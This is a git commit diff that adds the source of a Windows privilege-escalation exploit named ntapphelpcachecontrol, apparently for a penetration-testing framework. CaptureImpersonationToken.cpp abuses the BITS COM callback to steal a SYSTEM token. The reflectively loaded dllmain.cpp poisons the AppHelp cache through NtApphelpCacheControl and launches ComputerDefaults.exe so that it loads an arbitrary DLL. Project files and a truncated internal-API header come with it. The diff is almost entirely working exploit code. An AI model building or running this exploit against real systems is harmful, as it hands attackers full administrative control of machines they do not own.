Merge remote-tracking branch 'live/master' into feature/memcached-module
commit
f1bcbb7d78
Binary file not shown.
|
@ -0,0 +1,22 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Express 2013 for Windows Desktop
|
||||
VisualStudioVersion = 12.0.31101.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
228
external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp
vendored
Executable file
228
external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp
vendored
Executable file
|
@ -0,0 +1,228 @@
|
|||
#include "stdafx.h"
|
||||
#include <bits.h>
|
||||
#include <bits4_0.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <lm.h>
|
||||
#include <iostream>
|
||||
#include <exception>
|
||||
#include <string>
|
||||
#include <comdef.h>
|
||||
#include <memory>
|
||||
#include <new>
|
||||
#include <sddl.h>
|
||||
|
||||
// {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy
|
||||
IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
|
||||
|
||||
class FakeObject : public IUnknown
|
||||
{
|
||||
LONG m_lRefCount;
|
||||
HANDLE* m_ptoken;
|
||||
|
||||
void TryImpersonate()
|
||||
{
|
||||
if (*m_ptoken == nullptr)
|
||||
{
|
||||
HRESULT hr = CoImpersonateClient();
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
HANDLE hToken;
|
||||
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
|
||||
{
|
||||
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
|
||||
DWORD ret_len = 0;
|
||||
|
||||
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
|
||||
{
|
||||
LPWSTR sid_name;
|
||||
|
||||
ConvertSidToStringSid(user->User.Sid, &sid_name);
|
||||
|
||||
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))
|
||||
{
|
||||
*m_ptoken = hToken;
|
||||
RevertToSelf();
|
||||
}
|
||||
else
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
printf("Got Token: %p %ls\n", hToken, sid_name);
|
||||
LocalFree(sid_name);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Error getting token user %d\n", GetLastError());
|
||||
}
|
||||
free(user);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Error opening token %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public:
|
||||
//Constructor, Destructor
|
||||
FakeObject(HANDLE* ptoken) {
|
||||
m_lRefCount = 1;
|
||||
m_ptoken = ptoken;
|
||||
*m_ptoken = nullptr;
|
||||
}
|
||||
|
||||
~FakeObject() {};
|
||||
|
||||
//IUnknown
|
||||
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
|
||||
{
|
||||
TryImpersonate();
|
||||
|
||||
if (riid == __uuidof(IUnknown))
|
||||
{
|
||||
*ppvObj = this;
|
||||
}
|
||||
else if (riid == IID_FakeInterface)
|
||||
{
|
||||
printf("Check for FakeInterface\n");
|
||||
*ppvObj = this;
|
||||
}
|
||||
else
|
||||
{
|
||||
*ppvObj = NULL;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
AddRef();
|
||||
return NOERROR;
|
||||
}
|
||||
|
||||
ULONG __stdcall AddRef()
|
||||
{
|
||||
TryImpersonate();
|
||||
return InterlockedIncrement(&m_lRefCount);
|
||||
}
|
||||
|
||||
ULONG __stdcall Release()
|
||||
{
|
||||
TryImpersonate();
|
||||
// not thread safe
|
||||
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
|
||||
|
||||
if (0 == ulCount)
|
||||
{
|
||||
delete this;
|
||||
}
|
||||
|
||||
return ulCount;
|
||||
}
|
||||
};
|
||||
|
||||
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
|
||||
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
|
||||
|
||||
bool DoCaptureToken(HANDLE* ptoken)
|
||||
{
|
||||
// If CoInitializeEx fails, the exception is unhandled and the program terminates
|
||||
|
||||
IBackgroundCopyJobPtr pJob;
|
||||
try
|
||||
{
|
||||
//The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE.
|
||||
HRESULT hr = CoInitializeSecurity(NULL,
|
||||
-1,
|
||||
NULL,
|
||||
NULL,
|
||||
RPC_C_AUTHN_LEVEL_CONNECT,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE,
|
||||
NULL,
|
||||
EOAC_DYNAMIC_CLOAKING,
|
||||
0);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
throw _com_error(hr);
|
||||
}
|
||||
|
||||
// Connect to BITS.
|
||||
IBackgroundCopyManagerPtr pQueueMgr;
|
||||
|
||||
IMonikerPtr pNotify;
|
||||
|
||||
CreatePointerMoniker(new FakeObject(ptoken), &pNotify);
|
||||
|
||||
hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
|
||||
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr));
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// Failed to connect.
|
||||
throw _com_error(hr);
|
||||
}
|
||||
|
||||
GUID guidJob;
|
||||
hr = pQueueMgr->CreateJob(L"BitsAuthSample",
|
||||
BG_JOB_TYPE_DOWNLOAD,
|
||||
&guidJob,
|
||||
&pJob);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
// Failed to connect.
|
||||
throw _com_error(hr);
|
||||
}
|
||||
|
||||
pJob->SetNotifyInterface(pNotify);
|
||||
}
|
||||
catch (const std::bad_alloc &)
|
||||
{
|
||||
wprintf(L"Memory allocation failed");
|
||||
if (pJob)
|
||||
{
|
||||
pJob->Cancel();
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
catch (const _com_error &ex)
|
||||
{
|
||||
wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage());
|
||||
if (pJob)
|
||||
{
|
||||
pJob->Cancel();
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
class CoInitializer
|
||||
{
|
||||
public:
|
||||
CoInitializer()
|
||||
{
|
||||
CoInitialize(NULL);
|
||||
}
|
||||
|
||||
~CoInitializer()
|
||||
{
|
||||
CoUninitialize();
|
||||
}
|
||||
};
|
||||
|
||||
HANDLE CaptureImpersonationToken()
|
||||
{
|
||||
CoInitializer coinit;
|
||||
HANDLE token = nullptr;
|
||||
|
||||
if (DoCaptureToken(&token))
|
||||
{
|
||||
return token;
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
|
@ -0,0 +1,272 @@
|
|||
//#include "stdafx.h"
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "my_winternl.h"
|
||||
#include "sdb.h"
|
||||
#include <string>
|
||||
#include <combaseapi.h>
|
||||
#include <shellapi.h>
|
||||
|
||||
#define BUF_SIZE 0x108
|
||||
#define MAX_ENV 32767
|
||||
|
||||
enum APPHELPCOMMAND
|
||||
{
|
||||
AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
|
||||
AppHelpRemove, // 1 -> 0x22007
|
||||
AppHelpUpdate, // 2 -> 0x2200B (Admin)
|
||||
AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused)
|
||||
AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
|
||||
AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
|
||||
AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
|
||||
AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
|
||||
AppHelpSnapshot, // 8 -> 0x220023 (Admin)
|
||||
AppHelpQueryModule, // 9 -> 0x220027
|
||||
AppHelpRefresh, // 10 -> 0x22002B
|
||||
AppHelpCheckForChange, // 11 -> 0x22002F
|
||||
AppHelpQueryHwId, // 12 (doesn’t go to driver, calls AchCacheQueryHwId)
|
||||
};
|
||||
|
||||
struct ApphelpCacheControlData
|
||||
{
|
||||
BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?)
|
||||
DWORD query_flags; // 0x98;
|
||||
DWORD cache_flags; // 0x9C
|
||||
HANDLE file_handle; // 0xA0
|
||||
HANDLE process_handle; // 0xA4
|
||||
UNICODE_STRING file_name; // 0xA8
|
||||
UNICODE_STRING package_name;// 0xB0
|
||||
DWORD buf_len; // 0xB8
|
||||
LPVOID buffer; // 0xBC
|
||||
BYTE unkC0[0x2C]; // 0xC0 -> 0xEC
|
||||
UNICODE_STRING module_name; // 0xEC (used for 9)
|
||||
BYTE unkF4[0x14]; // 0xF4 -> 0x108
|
||||
};
|
||||
|
||||
typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
|
||||
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
HANDLE CaptureImpersonationToken();
|
||||
|
||||
struct APPHELP_QUERY
|
||||
{
|
||||
int match_tags[16];
|
||||
int unk40[16];
|
||||
int layer_tags[8];
|
||||
int flags;
|
||||
int main_tag;
|
||||
int match_count;
|
||||
int layer_count;
|
||||
GUID exe_guid;
|
||||
int unkC0[264 / 4];
|
||||
};
|
||||
|
||||
BOOL resolveSdbFunctions();
|
||||
extern SdbOpenDatabase SdbOpenDatabasePtr;
|
||||
extern SdbCloseDatabase SdbCloseDatabasePtr;
|
||||
extern SdbTagToString SdbTagToStringPtr;
|
||||
extern SdbGetFirstChild SdbGetFirstChildPtr;
|
||||
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
|
||||
extern SdbGetNextChild SdbGetNextChildPtr;
|
||||
extern SdbReadBinaryTag SdbReadBinaryTagPtr;
|
||||
|
||||
TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
|
||||
{
|
||||
TAG tmpTag = 0;
|
||||
DWORD dwD = 0;
|
||||
TAGID newtid = TAGID_NULL;
|
||||
LPCTSTR tmp;
|
||||
DWORD i = 0;
|
||||
GUID guid;
|
||||
|
||||
newtid = SdbGetFirstChildPtr(db, tid);
|
||||
while (newtid != TAGID_NULL)
|
||||
{
|
||||
tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
|
||||
tmp = SdbTagToStringPtr(tmpTag);
|
||||
|
||||
// process tag types
|
||||
switch (tmpTag & 0xFFFF)
|
||||
{
|
||||
case TAG_EXE_ID:
|
||||
if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
|
||||
{
|
||||
if (IsEqualGUID(guid, exe_guid))
|
||||
{
|
||||
return tid;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// recursive
|
||||
if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
|
||||
{
|
||||
TAGID ret = findExeByGuid(db, newtid, exe_guid);
|
||||
if (ret != 0)
|
||||
{
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
// get next tag
|
||||
newtid = SdbGetNextChildPtr(db, tid, newtid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TAGID GetTagForRegsvr32()
|
||||
{
|
||||
resolveSdbFunctions();
|
||||
|
||||
PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
|
||||
if (!db)
|
||||
{
|
||||
DWORD stat = GetLastError();
|
||||
printf("Failed to load SDB file %d\n", stat);
|
||||
return 0;
|
||||
}
|
||||
|
||||
GUID guid;
|
||||
|
||||
IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);
|
||||
|
||||
TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);
|
||||
|
||||
SdbCloseDatabasePtr(db);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
LPWSTR GetEnvVar(LPWSTR env)
|
||||
{
|
||||
WCHAR buf[MAX_ENV];
|
||||
GetEnvironmentVariable(env, buf, MAX_ENV);
|
||||
return buf;
|
||||
}
|
||||
|
||||
DWORD CALLBACK ExploitMain(char * lpReserved)
|
||||
{
|
||||
WCHAR dllpath_buf[MAX_PATH];
|
||||
WCHAR payloadPath[MAX_PATH];
|
||||
MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);
|
||||
|
||||
if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
|
||||
{
|
||||
printf("Couldn't get fullpath to dll %d\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wstring dllpath;
|
||||
dllpath = L"\"";
|
||||
dllpath += dllpath_buf;
|
||||
dllpath += L"\"";
|
||||
|
||||
TAGID tag = GetTagForRegsvr32();
|
||||
if (tag == 0)
|
||||
{
|
||||
printf("Failed to get SDB tag for regsvr32\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Found regsvr32.exe tag: %08X\n", tag);
|
||||
|
||||
HANDLE token = CaptureImpersonationToken();
|
||||
_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
|
||||
_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");
|
||||
|
||||
ApphelpCacheControlData data = { 0 };
|
||||
|
||||
std::wstring exe = GetEnvVar(L"SystemRoot");
|
||||
exe += L"\\System32\\ComputerDefaults.exe";
|
||||
|
||||
std::wstring full_path = L"\\??\\";
|
||||
full_path += exe.c_str();
|
||||
|
||||
printf("Interposing on cache for %ls\n", full_path.c_str());
|
||||
|
||||
fRtlInitUnicodeString(&data.file_name, full_path.c_str());
|
||||
|
||||
data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
nullptr, OPEN_EXISTING, 0, 0);
|
||||
if (data.file_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
data.query_flags = 0xFF;
|
||||
data.cache_flags = 1;
|
||||
|
||||
APPHELP_QUERY query = { 0 };
|
||||
query.match_count = 1;
|
||||
query.layer_count = 0;
|
||||
query.match_tags[0] = tag;
|
||||
query.unkC0[0] = 1;
|
||||
|
||||
data.buffer = &query;
|
||||
data.buf_len = sizeof(query);
|
||||
|
||||
int status = -1;
|
||||
|
||||
// Ensure it the cache if flushed
|
||||
fNtApphelpCacheControl(AppHelpRemove, &data);
|
||||
|
||||
if (SetThreadToken(nullptr, token))
|
||||
{
|
||||
status = fNtApphelpCacheControl(AppHelpUpdate, &data);
|
||||
RevertToSelf();
|
||||
}
|
||||
else
|
||||
{
|
||||
status = GetLastError();
|
||||
}
|
||||
|
||||
if (status == 0)
|
||||
{
|
||||
LPCWSTR verb = L"runas";
|
||||
|
||||
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
|
||||
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
|
||||
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Error adding cache entry: %08X\n", status);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
ExploitMain((char*)lpReserved);
|
||||
ExitProcess(0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
|
@ -0,0 +1,106 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{41275E8F-395F-492A-9770-38FE2FAA9669}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>exploit</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="my_winternl.h" />
|
||||
<ClInclude Include="sdb.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CaptureImpersonationToken.cpp" />
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="sdb_functions.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,866 @@
|
|||
#ifndef _WINTERNL_
|
||||
#define _WINTERNL_
|
||||
#include <winapifamily.h>
|
||||
|
||||
#pragma region Desktop Family
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
|
||||
|
||||
#if (_WIN32_WINNT >= 0x0500)
|
||||
|
||||
#include <windef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
//
|
||||
// These data structures and type definitions are needed for compilation and
|
||||
// use of the internal Windows APIs defined in this header.
|
||||
//
|
||||
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
|
||||
typedef CONST char *PCSZ;
|
||||
|
||||
typedef struct _STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PCHAR Buffer;
|
||||
} STRING;
|
||||
typedef STRING *PSTRING;
|
||||
|
||||
typedef STRING ANSI_STRING;
|
||||
typedef PSTRING PANSI_STRING;
|
||||
typedef PSTRING PCANSI_STRING;
|
||||
|
||||
typedef STRING OEM_STRING;
|
||||
typedef PSTRING POEM_STRING;
|
||||
typedef CONST STRING* PCOEM_STRING;
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING;
|
||||
typedef UNICODE_STRING *PUNICODE_STRING;
|
||||
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
||||
|
||||
//
|
||||
// The PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, RTL_USER_PROCESS_PARAMETERS, PEB
|
||||
// and TEB structures are subject to changes between Windows releases; thus,
|
||||
// the field offsets and reserved fields may change. The reserved fields are
|
||||
// reserved for use only by the Windows operating systems. Do not assume a
|
||||
// maximum size for these structures.
|
||||
//
|
||||
// Instead of using the InMemoryOrderModuleList field of the
|
||||
// LDR_DATA_TABLE_ENTRY structure, use the Win32 API EnumProcessModules
|
||||
//
|
||||
// Instead of using the IsBeingDebugged field of the PEB structure, use the
|
||||
// Win32 APIs IsDebuggerPresent or CheckRemoteDebuggerPresent
|
||||
//
|
||||
// Instead of using the SessionId field of the PEB structure, use the Win32
|
||||
// APIs GetCurrentProcessId and ProcessIdToSessionId
|
||||
//
|
||||
// Instead of using the Tls fields of the TEB structure, use the Win32 APIs
|
||||
// TlsAlloc, TlsGetValue, TlsSetValue and TlsFree
|
||||
//
|
||||
// Instead of using the ReservedForOle field, use the COM API
|
||||
// CoGetContextToken
|
||||
//
|
||||
// Sample x86 assembly code that gets the SessionId (subject to change
|
||||
// between Windows releases, use the Win32 APIs to make your application
|
||||
// resilient to changes)
|
||||
// mov eax,fs:[00000018]
|
||||
// mov eax,[eax+0x30]
|
||||
// mov eax,[eax+0x1d4]
|
||||
//
|
||||
|
||||
//
|
||||
// N.B. Fields marked as reserved do not necessarily reflect the structure
|
||||
// of the real struct. They may simply guarantee that the offets of
|
||||
// the exposed fields are correct. When code matches this pattern,
|
||||
//
|
||||
// TYPE1 ExposedField1;
|
||||
// BYTE ReservedBytes[b];
|
||||
// PVOID ReservedPtrs[p];
|
||||
// TYPE2 ExposedField2;
|
||||
//
|
||||
// or that pattern with ReservedBytes and ReservedPtrs swapped, it is
|
||||
// likely that 'b' and 'p' are derived from the following system:
|
||||
//
|
||||
// GapThirtyTwo = 4p + b
|
||||
// GapSixtyFour = 8p + b
|
||||
//
|
||||
// where GapThirtyTwo is the number of bytes between the two exposed
|
||||
// fields in the 32-bit version of the real struct and GapSixtyFour
|
||||
// is the number of bytes between the two exposed fields in the 64-bit
|
||||
// version of the real struct.
|
||||
//
|
||||
// Also note that such code must take into account the alignment of
|
||||
// the ReservedPtrs field.
|
||||
//
|
||||
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS {
|
||||
BYTE Reserved1[16];
|
||||
PVOID Reserved2[10];
|
||||
UNICODE_STRING ImagePathName;
|
||||
UNICODE_STRING CommandLine;
|
||||
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
typedef
|
||||
VOID
|
||||
(NTAPI *PPS_POST_PROCESS_INIT_ROUTINE) (
|
||||
VOID
|
||||
);
|
||||
|
||||
typedef struct _TEB {
|
||||
PVOID Reserved1[12];
|
||||
_PPEB ProcessEnvironmentBlock;
|
||||
PVOID Reserved2[399];
|
||||
BYTE Reserved3[1952];
|
||||
PVOID TlsSlots[64];
|
||||
BYTE Reserved4[8];
|
||||
PVOID Reserved5[26];
|
||||
PVOID ReservedForOle; // Windows 2000 only
|
||||
PVOID Reserved6[4];
|
||||
PVOID TlsExpansionSlots;
|
||||
} TEB, *PTEB;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES;
|
||||
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
} DUMMYUNIONNAME;
|
||||
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||
|
||||
typedef
|
||||
VOID
|
